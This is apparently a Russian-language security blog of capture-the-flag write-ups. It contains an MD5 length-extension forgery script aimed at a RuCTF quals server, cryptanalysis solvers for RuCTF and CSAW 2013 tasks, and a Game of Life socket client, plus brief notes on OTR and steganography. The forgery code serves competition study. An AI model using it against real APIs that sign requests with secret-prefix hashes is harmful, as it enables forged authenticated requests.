        c = GG (c, d, a, b, x[11], S23, 0x265e5a51)#; /* 19 */
        b = GG (b, c, d, a, x[ 0], S24, 0xe9b6c7aa)#; /* 20 */
        a = GG (a, b, c, d, x[ 5], S21, 0xd62f105d)#; /* 21 */
        d = GG (d, a, b, c, x[10], S22,  0x2441453)#; /* 22 */
        c = GG (c, d, a, b, x[15], S23, 0xd8a1e681)#; /* 23 */
        b = GG (b, c, d, a, x[ 4], S24, 0xe7d3fbc8)#; /* 24 */
        a = GG (a, b, c, d, x[ 9], S21, 0x21e1cde6)#; /* 25 */
        d = GG (d, a, b, c, x[14], S22, 0xc33707d6)#; /* 26 */
        c = GG (c, d, a, b, x[ 3], S23, 0xf4d50d87)#; /* 27 */
        b = GG (b, c, d, a, x[ 8], S24, 0x455a14ed)#; /* 28 */
        a = GG (a, b, c, d, x[13], S21, 0xa9e3e905)#; /* 29 */
        d = GG (d, a, b, c, x[ 2], S22, 0xfcefa3f8)#; /* 30 */
        c = GG (c, d, a, b, x[ 7], S23, 0x676f02d9)#; /* 31 */
        b = GG (b, c, d, a, x[12], S24, 0x8d2a4c8a)#; /* 32 */

        # Round 3
        a = HH (a, b, c, d, x[ 5], S31, 0xfffa3942)#; /* 33 */
        d = HH (d, a, b, c, x[ 8], S32, 0x8771f681)#; /* 34 */
        c = HH (c, d, a, b, x[11], S33, 0x6d9d6122)#; /* 35 */
        b = HH (b, c, d, a, x[14], S34, 0xfde5380c)#; /* 36 */
        a = HH (a, b, c, d, x[ 1], S31, 0xa4beea44)#; /* 37 */
        d = HH (d, a, b, c, x[ 4], S32, 0x4bdecfa9)#; /* 38 */
        c = HH (c, d, a, b, x[ 7], S33, 0xf6bb4b60)#; /* 39 */
        b = HH (b, c, d, a, x[10], S34, 0xbebfbc70)#; /* 40 */
        a = HH (a, b, c, d, x[13], S31, 0x289b7ec6)#; /* 41 */
        d = HH (d, a, b, c, x[ 0], S32, 0xeaa127fa)#; /* 42 */
        c = HH (c, d, a, b, x[ 3], S33, 0xd4ef3085)#; /* 43 */
        b = HH (b, c, d, a, x[ 6], S34,  0x4881d05)#; /* 44 */
        a = HH (a, b, c, d, x[ 9], S31, 0xd9d4d039)#; /* 45 */
        d = HH (d, a, b, c, x[12], S32, 0xe6db99e5)#; /* 46 */
        c = HH (c, d, a, b, x[15], S33, 0x1fa27cf8)#; /* 47 */
        b = HH (b, c, d, a, x[ 2], S34, 0xc4ac5665)#; /* 48 */

        # Round 4 
        a = II (a, b, c, d, x[ 0], S41, 0xf4292244)#; /* 49 */
        d = II (d, a, b, c, x[ 7], S42, 0x432aff97)#; /* 50 */
        c = II (c, d, a, b, x[14], S43, 0xab9423a7)#; /* 51 */
        b = II (b, c, d, a, x[ 5], S44, 0xfc93a039)#; /* 52 */
        a = II (a, b, c, d, x[12], S41, 0x655b59c3)#; /* 53 */
        d = II (d, a, b, c, x[ 3], S42, 0x8f0ccc92)#; /* 54 */
        c = II (c, d, a, b, x[10], S43, 0xffeff47d)#; /* 55 */
        b = II (b, c, d, a, x[ 1], S44, 0x85845dd1)#; /* 56 */
        a = II (a, b, c, d, x[ 8], S41, 0x6fa87e4f)#; /* 57 */
        d = II (d, a, b, c, x[15], S42, 0xfe2ce6e0)#; /* 58 */
        c = II (c, d, a, b, x[ 6], S43, 0xa3014314)#; /* 59 */
        b = II (b, c, d, a, x[13], S44, 0x4e0811a1)#; /* 60 */
        a = II (a, b, c, d, x[ 4], S41, 0xf7537e82)#; /* 61 */
        d = II (d, a, b, c, x[11], S42, 0xbd3af235)#; /* 62 */
        c = II (c, d, a, b, x[ 2], S43, 0x2ad7d2bb)#; /* 63 */
        b = II (b, c, d, a, x[ 9], S44, 0xeb86d391)#; /* 64 */

        self.state = (0xffffffffL & (state[0] + a),
                      0xffffffffL & (state[1] + b),
                      0xffffffffL & (state[2] + c),
                      0xffffffffL & (state[3] + d),)

        # Zeroize sensitive information.
        del x

# Some helper functions to decode and encode binary data
import struct, string

def Encode(input, len):
    k = len >> 2
    res = apply(struct.pack, ("%iI" % k,) + tuple(input[:k]))
    return string.join(res, "")

def Decode(input, len):
    k = len >> 2
    res = struct.unpack("%iI" % k, input[:len])
    return list(res)





# =================
# = Spoofing Code =
# =================
def spoof_digest(originalDigest, originalLen, spoofMessage=""):
    # first decode digest back into state tuples
    state = Decode(originalDigest, 16)
    
    # generate a seed md5 object
    spoof = md5()
    
    # seed the count variable for calculation of index, padLen, and bits
    spoof.count += originalLen << 3
    
    # calculate some variables to generate the original padding
    index = int((spoof.count >> 3) & 0x3f)
    padLen = (56 - index) if index < 56 else (120 - index)
    bits = Encode((spoof.count & 0xffffffffL, spoof.count>>32), 8)

    # construct the original padding
    padding = PADDING[:padLen]

    # augment the count with the new padding and trailing bits
    spoof.count += len(padding) << 3
    spoof.count += len(bits) << 3
    spoof.state = state
    
    # run an update
    spoof.update(spoofMessage)
    
    # We now have a digest of the original secret + message + some_padding
    return (spoof.digest(), padding + bits)

def test_md5_matches_stdlib():
    from hashlib import md5 as md5stdlib
    std_signature = md5stdlib('hello').digest()
    this_md5_signature = md5('hello').digest()
    assert this_md5_signature == std_signature
    
def test_spoofing():
    originalMsg = "" + "do test connection"
    appendedMsg = "123"
    
    # This is the signature that a legitimate user sends
    # over the wire in clear text. 
    originalSignature = "b34c39b9e83f0e965cf392831b3d71b8".decode('hex')
    
    # This is how an attacker would spoof the signature where,
    # the message ==  originalMsg + padbits + appendedMsg .
    # Notice that this method implies that the attacker
    # knows the original length of the "secret" ... 
    # Most apis such as Flickr assign secrets that are of
    # uniform length for all of their api users.
    
    #spoofSignature, padbits = spoof_digest(originalSignature, i, appendedMsg)
    socket = socks.socksocket()
    import time
    #socket.connect(('python27.quals.ructf.org' , 12337))
    for i in range(len(originalMsg),len(originalMsg)+65):
        socket = socks.socksocket()
        socket.connect(('python27.quals.ructf.org' , 12337))
        spoofSignature, padbits = spoof_digest(originalSignature, i, appendedMsg)
        print spoofSignature.encode('hex')
        socket.send(spoofSignature.encode('hex')+" do test connection"+padbits+"123")
        print socket.recv(1024)
        time.sleep(1)
        socket.close()
    
    # This is how a legitimate user would construct the
    # a signature when message == originalMsg + padbits + appendedMsg
    testSignature = md5(originalMsg + padbits + appendedMsg).digest()
    
    # make sure the spoof signature and the test signature match.
    # if, this passes, we've successfully constructed a spoofed message
    # of the form: secret + orginal_message + padding + appended_message
    # without actually knowing the secret.
    #assert testSignature == spoofSignature
    #return testSignature.encode('hex')
    
if __name__=="__main__":
    print test_spoofing()

Зачем я это написал? Да просто чтобы познакомить читателей с интересным методом.
Почему не описал саму атаку? А зачем? Я и так привел ссылку на подробное и хорошее описание.
Это что-то вроде репоста :) Я хочу вас познакомить с классной темой!

вторник, 4 марта 2014 г.

Тест на простоту

Тест Миллера-Рабина

import random, sys                             

def miller_rabin_pass(a, s, d, n):
    a_to_power = pow(a, d, n)
    if a_to_power == 1:
        return True
    for i in xrange(s-1):
        if a_to_power == n - 1:
            return True
        a_to_power = (a_to_power * a_to_power) % n
    return a_to_power == n - 1

def miller_rabin(n):
    d = n - 1
    s = 0
    while d % 2 == 0:
        d &gt;&gt;= 1
        s += 1

    for repeat in xrange(20):
        a = 0
        while a == 0:
            a = random.randrange(n)
        if not miller_rabin_pass(a, s, d, n):
            return False
    return True

RuCTF quals-2013. Crypto 200

Задание

Дан файл на питоне.
def crypt(open_text, public_key):
  bts = []
  [bts.extend([int(b) for b in '00000000'[len(bin(ord(c))[2:]):] + bin(ord(c))[2:]]) for c in open_text]
  return [sum(map(lambda x: x[0] * x[1] ,zip(blk, public_key))) for blk in [bts[i * 128:(i+1) * 128] for i in range(len(open_text) // 16)]] 

def generate_public_key(private_key):   
  n = 199285318978668966527551342512997250816637709274749259983292077699440369
  t = 32416190071
  return list(map(lambda x: (t * x) % n, private_key))
public_key = [1050809378719198985041, 2101618757438397970082, 6304856272315193910246, 18914568816945581730738, 56743706450836745192214, 170231119352510235576642, 510693358057530706729926, 1532080074172592120189778, 4596240222517776360569334, 13788720667553329081708002, 41366162002659987245124006, 124098486007979961735372018, 372295458023939885206116054, 1116886374071819655618348162, 3350659122215458966855044486, 10051977366646376900565133458, 30155932099939130701695400374, 90467796299817392105086201122, 271403388899452176315258603366, 814210166698356528945775810098, 2442630500095069586837327430294, 7327891500285208760511982290882, 21983674500855626281535946872646, 65951023502566878844607840617938, 197853070507700636533823521853814, 593559211523101909601470565561442, 1780677634569305728804411696684326, 5342032903707917186413235090052978, 16026098711123751559239705270158934, 48078296133371254677719115810476802, 144234888400113764033157347431430406, 432704665200341292099472042294291218, 1298113995601023876298416126882873654, 3894341986803071628895248380648620962, 11683025960409214886685745141945862886, 35049077881227644660057235425837588658, 105147233643682933980171706277512765974, 315441700931048801940515118832538297922, 946325102793146405821545356497614893766, 2838975308379439217464636069492844681298, 8516925925138317652393908208478534043894, 25550777775414952957181724625435602131682, 76652333326244858871545173876306806395046, 229956999978734576614635521628920419185138, 689870999936203729843906564886761257555414, 2069612999808611189531719694660283772666242, 6208838999425833568595159083980851317998726, 18626516998277500705785477251942553953996178, 55879550994832502117356431755827661861988534, 167638652984497506352069295267482985585965602, 502915958953492519056207885802448956757896806, 1508747876860477557168623657407346870273690418, 4526243630581432671505870972222040610821071254, 13578730891744298014517612916666121832463213762, 40736192675232894043552838749998365497389641286, 122208578025698682130658516249995096492168923858, 366625734077096046391975548749985289476506771574, 1099877202231288139175926646249955868429520314722, 3299631606693864417527779938749867605288560944166, 9898894820081593252583339816249602815865682832498, 29696684460244779757750019448748808447597048497494, 89090053380734339273250058346246425342791145492482, 267270160142203017819750175038739276028373436477446, 801810480426609053459250525116217828085120309432338, 2405431441279827160377751575348653484255360928297014, 7216294323839481481133254726045960452766082784891042, 21648882971518444443399764178137881358298248354673126, 64946648914555333330199292534413644074894745064019378, 194839946743665999990597877603240932224684235192058134, 584519840230997999971793632809722796674052705576174402, 1753559520692993999915380898429168390022158116728523206, 5260678562078981999746142695287505170066474350185569618, 15782035686236945999238428085862515510199423050556708854, 47346107058710837997715284257587546530598269151670126562, 142038321176132513993145852772762639591794807455010379686, 426114963528397541979437558318287918775384422365031139058, 1278344890585192625938312674954863756326153267095093417174, 3835034671755577877814938024864591268978459801285280251522, 11505104015266733633444814074593773806935379403855840754566, 34515312045800200900334442223781321420806138211567522263698, 103545936137400602701003326671343964262418414634702566791094, 310637808412201808103009980014031892787255243904107700373282, 931913425236605424309029940042095678361765731712323101119846, 2795740275709816272927089820126287035085297195136969303359538, 8387220827129448818781269460378861105255891585410907910078614, 25161662481388346456343808381136583315767674756232723730235842, 75484987444165039369031425143409749947303024268698171190707526, 226454962332495118107094275430229249841909072806094513572122578, 679364886997485354321282826290687749525727218418283540716367734, 2038094660992456062963848478872063248577181655254850622149103202, 6114283982977368188891545436616189745731544965764551866447309606, 18342851948932104566674636309848569237194634897293655599341928818, 55028555846796313700023908929545707711583904691880966798025786454, 165085667540388941100071726788637123134751714075642900394077359362, 495257002621166823300215180365911369404255142226928701182232078086, 1485771007863500469900645541097734108212765426680786103546696234258, 4457313023590501409701936623293202324638296280042358310640088702774, 13371939070771504229105809869879606973914888840127074931920266108322, 40115817212314512687317429609638820921744666520381224795760798324966, 120347451636943538061952288828916462765233999561143674387282394974898, 361042354910830614185856866486749388295701998683431023161847184924694, 1083127064732491842557570599460248164887105996050293069485541554774082, 3249381194197475527672711798380744494661317988150879208456624664322246, 9748143582592426583018135395142233483983953964452637625369873992966738, 29244430747777279749054406185426700451951861893357912876109621978900214, 87733292243331839247163218556280101355855585680073738628328865936700642, 63914557751326551213938313155843053250929047765471955901694520110661557, 191743673253979653641814939467529159752787143296415867705083560331984671, 176660381804601027870342133376592977625086011339749083148666525597073275, 131410507456465150555923715103784431241982615469748729479415421392339087, 194946203390726485140219802798356042909310137134496928454954186477576892, 186267972214841522365556723369073627094654992853992265398278404033849938, 160233278687186634041567485081226379650689560012478276228251056702669076, 82129198104221969069599770217684637318793261487936308718169014709126490, 47102275333996940681247968140056661139742075189059666171214966427939101, 141306826001990822043743904420169983419226225567178998513644899283817303, 25349840048634533076129028234515448624403258152038475574350542452571171, 76049520145903599228387084703546345873209774456115426723051627357713513, 28863241459041831157609911597641786802991614093597020185862804373700170, 86589724377125493472829734792925360408974842280791060557588413121100510, 60483854152707513890937861865778830410286817567623921689473161663861161, 181451562458122541672813585597336491230860452702871765068419484991583483, 145784049417029691963338071766014972059305939559116775238674299575869711, 38781510293751142834911530272050414544642400127851805749438743328728395, 116344530881253428504734590816151243633927200383555417248316229986185185, 149748273665091318986652429935456480085143891875916991761656612259115186, 50674183037936023904854604780374938622156257078252455318385681378464820, 152022549113808071714563814341124815866468771234757365955157044135394460]   
cipher_text = [
        1387977778999926469357780220487630125151962348185941993910077394771302677,
        1192236960845781949613172279312582839292898077268409678421304772227241438,
        1295152741157953792099179799985052248167548374589648818528421499250916999,
        828724787424187908000366458781164595076558885463707900320215679908512646,
        1179926879709109047038661681316962368287877340885819899201698611790531134,
        965171312356484716595815857561729919489896088681139239093293829323154838,
        1099367377207651843612375443021502714028353049437532392256489525051038347,
        1374891605015623267623322424512489936836885983493815443812918444687247914,
        1152880248428103510879661300981452627677389745079857275081612568623556291,
        962409003220820525413536841942678826309419979028794415812582008820263317


Первая функция генерирует публичные ключи по приватным.
Принцип прост – умножение по модулю. Но мы решили, что эта функция не нужна.

Вторая дополняет бинарное представление символов текста ведущими нулями, а затем производит действия над блоками по 16 байт. Выходит, что искомый текст имеет длину 16*10 ascii символов.
Каждый блок из 16 байт (128 бит) сопоставляется массиву из 128 чисел (public_key).

Каждый бит умножается на элемент публичного ключа с тем же индексом, результаты складываются.
Очевидно, что в результате в шифротексте мы получим сумму некоторых элементов публичного ключа.

Мы заметили, что

1050809378719198985041 = 32416190071^2

2101618757438397970082 = 32416190071^2 * 2

6304856272315193910246 = 32416190071^2 * 2 * 3

Pkn = 32416190071^2 * 2 * 3 ^ n

Странно, но начиная со 106 до 127, эта закономерность не соблюдается (мы так решили).

По-этому мы брутфорсили 24 символа (2 слева и 22 справа). Для них вычисляли сумму произведений.
Затем из N вычитали данную сумму и получали результат, который является по сути суммой элементов публичного ключа, которые удовлетворяют нашей формуле. Значит можно разделить само (n-s) и все числа на t*t*2.
Получаем, что новая N2 = 3^a+3^b+…3^z. Где неизвестны степени и число элементов.
Теперь будем делить последовательно на 3. Как только деление невозможно – мы нашли показатель степени и можно его вытащить из суммы: получить N3 = N2 – 3^a.
Повторяем данные действия для получения всех коэффициентов.
Если они не повторяются – вариант валидный. Остается только взять элементы public_key[a],…public_key[z] и поставить для них в ответе 1, для незадействованных – 0.
Таким образом для каждого из 2^24 итераций перебора мы находим разложение, если оно корректно (степени не повторяются) – выводим на экран бинарную строку.
Сумбурно, но лучше видно в коде.
for i in range(0, 2**24):

    s = 0

    num = '000000000000000000000000'[len(bin(i)[2:]):] + bin(i)[2:]

    for k in range(0, 22):

        s += int(num[k]) * public_key[106 + k]



    s += int(num[22]) * public_key[0]

    s += int(num[23]) * public_key[1]



    c1 = cipher_text[7] - s

    if c1 &lt; 0:

        continue



    c1 /= t*t

    c1 /= 2

    indices = []



    a = 0

    cc = c1

    zeros = 0

    bad = False



    while c1 &gt; 0:

        if c1 % 3 == 0:

            zeros += 1

            c1 /= 3

        else:

            if len(indices) and indices[a-1] == zeros:

                bad = True

                break

            else:

                indices.append(zeros)



            a += 1

            cc -= 3**(zeros)

            zeros = 0

            c1 = cc



    if not bad:

        print indices

        print num

        print '------------------'

Ответ: bf145f32d9637c37de3cb5b470b2c44f8e466bc26e06725ac1517006ab70eac23907a37da8715981c7de813dc03f8104381eadf57d50dc4841d7956fffcd22eefe8ec62e9dea680f78d18352b4bb3ec2

пятница, 17 января 2014 г.

CSAW 2013: CSAWpad (Crypto100)

Из задания дан только исходный код:
import os
from hashlib import sha512
from binascii import hexlify

#generates s box and sinverse box, called f and g respectively, using 
#sha 512 as a deterministic random number generator
def genTables(seed="Well one day i'll be a big boy just like manhell"):
    fSub={}
    gSub={}
    i=0
    prng=sha512()
    prng.update(seed)
    seed=prng.digest()
    for el in xrange(256):
        cSeed=""
        for x in xrange(4):
            cSeed+=prng.digest()
            prng.update(str(x))
        prng.update(cSeed)
        fCharSub=[0]*256
        gCharSub=[0]*256
        unused=range(256)
        for toUpdate in xrange(256):
            i+=1
            curInd=ord(cSeed[toUpdate])%len(unused)
            toDo=unused[curInd]
            del unused[curInd]
            fSub[(el,toUpdate)]=toDo
            gSub[(el,toDo )]=toUpdate
    return fSub,gSub
f,g=genTables()


def encrypt(pad, ptext):
    assert(len(ptext)<=len(pad))#if pad < plaintext bail
    ctext = []
    if type(ptext)==type(""):
        ptext=map(ord,ptext)
    if type(pad)==type(""):
        pad=map(ord,pad)
    for padByte,ptextByte in zip(pad,ptext):
        ctext.append(f[padByte,ptextByte])
    return  "".join(map(chr,ctext))
def decrypt(pad, ciphertext):
    assert(len(ciphertext)<=len(pad))#if pad < ciphertext bail
    ptext = []
    if type(ciphertext)==type(""):
        ciphertext=map(ord,ciphertext)
    if type(pad)==type(""):
        pad=map(ord,pad)
    for padByte,ctextByte in zip(pad,ciphertext):
        ptext.append(g[padByte,ctextByte])

    return "".join(map(chr,ptext))


def sanity():
    for x in xrange(256):
        for y in xrange(256):
            enc=f[(x,y)]
            dec=g[(x,enc)]
            assert(y==dec)
    for x in xrange(1000):
        toTest=os.urandom(1000)
        pad=os.urandom(1000)
        enc=encrypt(pad,toTest)
        dec=decrypt(pad,enc)
        assert(dec==toTest)
#sanity()
'''
Recovered texts, hex encoded
 '794d630169441dbdb788337d40fe245daa63c30e6c80151d4b055c18499a8ac3e5f3b3a8752e95cb36a90f477eb8d7aa7809427dde0f00dc11ab1f78cdf64da55cb75924a2b837d7a239639d89fe2b7bc1415f3542dba748dd40',
 '14a60bb3afbca7da0e8e337de5a3a47ae763a20e8e18695f39450353a2c6a26a6d8635694cbdc34b7d1a543af546b94b6671e67d0c5a8b64db12fe32e275',
 '250d83a7ed103faaca9d786f23a82e8e4473a5938eabd9bd03c3393b812643ea5df835b14c8e5a4b36cdcfd210a82e2c3c71d27d3c47091bdb391f2952b261fde94a4b23238137a4897d1631b4e18d63',
 '68a90beb191f13b621747ab46321a491e71c536b71800b8f5f08996bb433838fe56587f171a759cf1c160b4733a3465f5509ad7d1a89d4b41f631f3c600347a8762141095dad3714027dfc7c894d69fd896b810313259b1a0e941ecb43d6ae1857a465b4ddcdf102b7297763acb0281144b0598c326e871c3a1ad047ad4fea2093a1b734d589b8998175b3',
 '0fc304048469137d0e2f3a71885a5a78e749145510cf2d56157939548bfd5dd7e59dcebc75b678cfeac4cf408fce5dda32c9bfcbfd578bdcb801df32ebf64da365df4b285d5068975137990134bd69991695989b322b0849',
 '254c0bb31453badaca9d060ce5faa45fa66378a6716915473579d3743e315dbedf4d8cf78b93c3267d579247e32c8c7cd3e71e7dda6138a2ab015166fa03f2ce6ab74b89ce561eb16a65990189e169f1c457d9af622ba119a66acedb108fae18825bf3efc0428b9dae250791cb0ea018966e257d601a87f9914d646026eeab5c45cbaedd27e4c47643ab4e25193aa64f79',
 '41cd1c01c62883b2ca71e671dce57e5f96b1610e29507b6c03c38211653284576d4d8cdc967764147d1a0578102cb05f32a73065f11009041fa3cc5f60b24d8c7098598627df37322f814525966acabc99be5303c2322b43ecf358ac8b8541bd82214d1cc042cac3869c54e2964fa376229c2563ba3fd03e2d4d4d441721c60b6d817e034965be28b7d463cf2b97baebfe2729ed2aa41ffe',
 '68c50bd5197bfdbdfa887883783d2455a673a685436915bd72d1af74dffdd2b89df335daee93c36d5f57e147e9a35913d3b3bf33' 

Код имеет функцию генерации матрицы подстановок, шифрования, дешифрования.
Внизу даны 8 шифротекстов, которые нужно расшифровать.
Попробуем понять, как происходит шифрование:
1.    genTables(seed="..") генерирует матрицу и ее обратную матрицу.
2.    Берет 1 байт случайного ключа и 1 байт открытых данных.
3.    Конвертирует эти байт в числовые значения (‘A’ = 65, ‘6’ = 54).
4.    Берем результат шифрования из элемента матрицы по координатам, составленных из этих 2 байт (1 – строка, 2 – столбец).
5.    Значение элемента матрицы принимаем как байт шифротекста.
6.    Повторим эти шаги для всех байт.

Дешифрование аналогично т.к. используются обратные матрицы.
Матрица имеет размер 256*256. Заполняется псевдослучайным генератором.
Требуется расшифровать строки, которые явно зашифрованы одинаковым ключом.
Т.к. мы не знаем значения ключа, мы пробуем перебрать все возможные значения.

Пример для 1 символа:
Переберем 256 вариантов PAD:
1)    Зная первый байт первого шифротекста, матрицу и PAD – получим первый байт первого открытого текста.
2)    Если байт читаемый (a-z,A-Z,0-9,пробел,запятая,точка…) – помечаем его как кандидата.
3)    Повторяем 2 шаг для первого байта каждого шифротекста.
4)    Если для каждого шифротекста байт получился читаемый, значит PAD верный.

Вероятность, что байт будет читаемый 70 из 256.
Для 8 шифротекстов: (70.0/256)^8 * 100% = 0.003%
Поэтому, 2 разных PAD мы вряд-ли получим.

import string
strings = [ '794d630169441dbdb788337d40fe245daa63c30e6c80151d4b055c18499a8ac3e5f3b3a8752e95cb36a90f477eb8d7aa7809427dde0f00dc11ab1f78cdf64da55cb75924a2b837d7a239639d89fe2b7bc1415f3542dba748dd40',
 '14a60bb3afbca7da0e8e337de5a3a47ae763a20e8e18695f39450353a2c6a26a6d8635694cbdc34b7d1a543af546b94b6671e67d0c5a8b64db12fe32e275',
 '250d83a7ed103faaca9d786f23a82e8e4473a5938eabd9bd03c3393b812643ea5df835b14c8e5a4b36cdcfd210a82e2c3c71d27d3c47091bdb391f2952b261fde94a4b23238137a4897d1631b4e18d63',
 '68a90beb191f13b621747ab46321a491e71c536b71800b8f5f08996bb433838fe56587f171a759cf1c160b4733a3465f5509ad7d1a89d4b41f631f3c600347a8762141095dad3714027dfc7c894d69fd896b810313259b1a0e941ecb43d6ae1857a465b4ddcdf102b7297763acb0281144b0598c326e871c3a1ad047ad4fea2093a1b734d589b8998175b3',
 '0fc304048469137d0e2f3a71885a5a78e749145510cf2d56157939548bfd5dd7e59dcebc75b678cfeac4cf408fce5dda32c9bfcbfd578bdcb801df32ebf64da365df4b285d5068975137990134bd69991695989b322b0849',
 '254c0bb31453badaca9d060ce5faa45fa66378a6716915473579d3743e315dbedf4d8cf78b93c3267d579247e32c8c7cd3e71e7dda6138a2ab015166fa03f2ce6ab74b89ce561eb16a65990189e169f1c457d9af622ba119a66acedb108fae18825bf3efc0428b9dae250791cb0ea018966e257d601a87f9914d646026eeab5c45cbaedd27e4c47643ab4e25193aa64f79',
 '41cd1c01c62883b2ca71e671dce57e5f96b1610e29507b6c03c38211653284576d4d8cdc967764147d1a0578102cb05f32a73065f11009041fa3cc5f60b24d8c7098598627df37322f814525966acabc99be5303c2322b43ecf358ac8b8541bd82214d1cc042cac3869c54e2964fa376229c2563ba3fd03e2d4d4d441721c60b6d817e034965be28b7d463cf2b97baebfe2729ed2aa41ffe',
 '68c50bd5197bfdbdfa887883783d2455a673a685436915bd72d1af74dffdd2b89df335daee93c36d5f57e147e9a35913d3b3bf33']
printable = string.printable[:-5]

strings = map(lambda s: s.decode("hex"), strings)
maxl = max(map(len, strings))
pad = [0,]*maxl
# pos: (string, char)
guess = {0:(1,"G"),
	14: (0, " "),
	16: (0, "e"),
	17: (0, "t"),
	20: (0, "e"),
	22: (0, " "),
	24: (0, "t"),
	34: (0, "n"),
	38: (0, "e"),
	39: (0, "n"),
	43: (0, " "),
	46: (0, " "),
	51: (0, " ")}

for pos in range(maxl):
	possible = []
	for i in range(256):
		ok = True
		x = []
		for string in strings:
			if len(string) <= pos:
				continue
			c = chr(g[i,ord(string[pos])])
			if c not in printable:
				ok = False
				break
			x.append(c)
		if ok and len(x) > 0:
			possible.append((i,x))
	if len(possible) == 1:
		pad[pos] = possible[0][0]
	elif pad[pos] == 0:
		gotone = False
		if pos in guess:
			for padval, solutions in possible:
				if guess[pos][1] in solutions[guess[pos][0]]:
					pad[pos] = padval
					gotone = True
					break
			
		if not gotone:
			pad[pos] = possible[0][0]

for string in strings:
	print decrypt(pad, string)


Читаем расшифрованные тексты и видим в одном: key for you is {And yes the nsa can read this to} Вводим ключ «And yes the nsa can read this to» и получаем 100 баллов.

Многопользовательский OTR

Задумался на днях, как же можно создать групповой чат с функцией PFS. Вариант нашелся на странице википедии об OTR. Оказывается, что есть проект "multi-party OTR", который реализует такую фишку.
http://www.cs.ucdavis.edu/~hchen/paper/ccs09.pdf

четверг, 9 января 2014 г.

CSAW 2013: Life (Misc 300)

Из описания к заданию дана только команда: nc 128.238.66.216 45678
По названию Life понимаем, что нас ожидает игра Конвея (http://en.wikipedia.org/wiki/Conways_Game_of_Life)

Правила
Место действия этой игры — «вселенная» — это размеченная на клетки поверхность или плоскость — безграничная, ограниченная, или замкнутая (в пределе — бесконечная плоскость).
Каждая клетка на этой поверхности может находиться в двух состояниях: быть «живой» или быть «мёртвой» (пустой). Клетка имеет восемь соседей (окружающих клеток).
Распределение живых клеток в начале игры называется первым поколением. Каждое следующее поколение рассчитывается на основе предыдущего по таким правилам:
в пустой (мёртвой) клетке, рядом с которой ровно три живые клетки, зарождается жизнь;
если у живой клетки есть две или три живые соседки, то эта клетка продолжает жить; в противном случае (если соседей меньше двух или больше трёх) клетка умирает («от одиночества» или «от перенаселённости»).
Игра прекращается, если на поле не останется ни одной «живой» клетки, если при очередном шаге ни одна из клеток не меняет своего состояния (складывается стабильная конфигурация) или если конфигурация на очередном шаге в точности (без сдвигов и поворотов) повторит себя же на одном из более ранних шагов (складывается периодическая конфигурация).
Эти простые правила приводят к огромному разнообразию форм, которые могут возникнуть в игре.
Игрок не принимает прямого участия в игре, а лишь расставляет или генерирует начальную конфигурацию «живых» клеток, которые затем взаимодействуют согласно правилам уже без его участия (он является наблюдателем).
Описание
Для начала, напишем скрипт на языке Python, который будет подключаться к серверу и получать 2 параметра (поле и количество ходов).
Дальше от нас требуется вернуть серверу то поле, которое появится после N ходов.

Например, сервер возвращает нам следующий текст, значит, мы должны ответить ему, переслав поле, которое получится из исходного спустя 25 ходов.

##### Round 1: 25 Generations #####
#######################
#           *         #
#*         *          #
# *                 * #
# * **        *    ***#
# **  *      **       #
#**    *       *      #
# *             *     #
#      *        *     #
#     *    * *   *    #
#  * *                #
# *              *    #
#     *           *   #
#       *             #
#           **        #
#      *              #
#                     #
#                *    #
#         **          #
#        *     *     *#
#       *    *  **  * #
#######################


Код эксплойта
#coding: utf-8

"""
    Conway's Game of Life implementation with console interface
    Author: Antonio Ribeiro - alvesjunior.antonio@gmail.com
    license: Do What You Want to
"""

from time import sleep
from random import randint
import socks
import re

def get_neighbours(p, i, j, w, h):
    # возвращаем ответ для (i,j) исходя из соседей по правилам
    n = 0
    for a in [-1, 0, 1]:
        for b in [-1, 0, 1]:
            if a+i < 0 or b+j < 0 or a+i >= h or b+j >= w or a == b == 0:
                continue 
            if p[i+a][j+b]:
                n += 1
    
    if p[i][j] and n < 2 or n > 3:
        return 0
    elif n == 3:
        return 1
    else:
        return p[i][j]


def step(p,w,h):
    # делаем 1 ход по правилам игры
    l = len(p)
    new_p = []          # новый массив (поле)
    for i in range(h):
        new_p.append([])
        for j in range(w):
            new_p[i].append(p[i][j])

                        # заполняем новый по правилам
    for i in range(h):
        for j in range(w): 
            new_p[i][j] = get_neighbours(p, i, j, w, h)

    return new_p

def set_board(socket):
    # получаем от сервера ответ и заполняем доску (массив p),
    # количество ходов (res), ширину (w) и высоту (h) поля
    round = socket.recv(1024)
    r = re.compile('(\d+)')
    if len(r.findall(round)) < 2:
        print socket.recv(10240)
    else:
        res = int(r.findall(round)[1])  # res - количество ходов
    a = socket.recv(10240)
    l = 0
    for c in a:
        if c!='#':
            break
        l += 1
    s = ""
    w = l - 2               # ширина
    h = len(a) / (l+1) - 2  # высота
    #print w,h
    
    p = []                  # массив поля
    for i in range(1,h + 1):
        le = []
        for j in range(w):
            if (a[i*(w+3)+j+1]=='*'):
                le.append(1)
            else:
                le.append(0)
        p.append(le)
    
    return res,p,w,h

def show(p,w,h):    
    # выводит доску в требуемом формате
    f = ""
    for j in range(w+2):
        f +='#'
    f += '\n'
    for i in range(h):
        f += '#'
        for j in range(w):
            if p[i][j]==1:
                f += "*"
            else:
                f += " "
        f += "#\n"
    for j in range(w+2):
        f += '#'
    f += '\n'
    return f
    
if __name__ == '__main__':
    socket = socks.socksocket() 
    socket.connect(('128.238.66.216' , 45678))  # соединяемся с сервером
    w = 0
    h = 0
    for i in range(101):    # 100 раз с нас требуют пройти игру
        res,p,w,h = set_board(socket)   # получаем параметры карты и расстановку
        for i in range(res):            # ходим N раз
            p = step(p,w,h)             # 1 ход
        socket.send(show(p,w,h))        # отправляем результат
    socket.close()
С помощью догадки, понимаем, что от нас требуют пройти игру аж 100 раз. После 100 прохождения, сервер вернул строку: Congratulations!You made it!Here's your prize: key{that comp sci assignment was useful after all} Ключ «that comp sci assignment was useful after all» принес 300 баллов.

пятница, 3 января 2014 г.

Стеганосистема

Вот и подвели итоги нашего эпического соревнования между командами КБ и ПМ.

Есть у нас такой предмет - "стеганография". Чтобы получить зачет, нужно было в группах разработать новую стеганосистему, либо улучшить существующую. Мы разделились на группы по 3 человека и начали работать.

У нас получилось 5 команд, у ПМ - 3.
1) Стеганосистема "Мыщъ" - сетевая стеганография, основанная на временных задержках между пакетами в локальной сети. Прикольно смотрится, но фраза про "30 бит в минуту" нас всех очень позабавила.
2) Наша стеганосистема "Вектор" - суть в том, чтобы прятать сообщения в векторном формате SVG. Прятали мы очень "оригинально", с помощью новейшего алгоритма LSD - это как LSB только decimal)) Несмотря на то, что все очень просто, мы обратили внимание на сложные проблемы этого формата и навернули много сложных "фишек", которые сделали задумку небанальной.
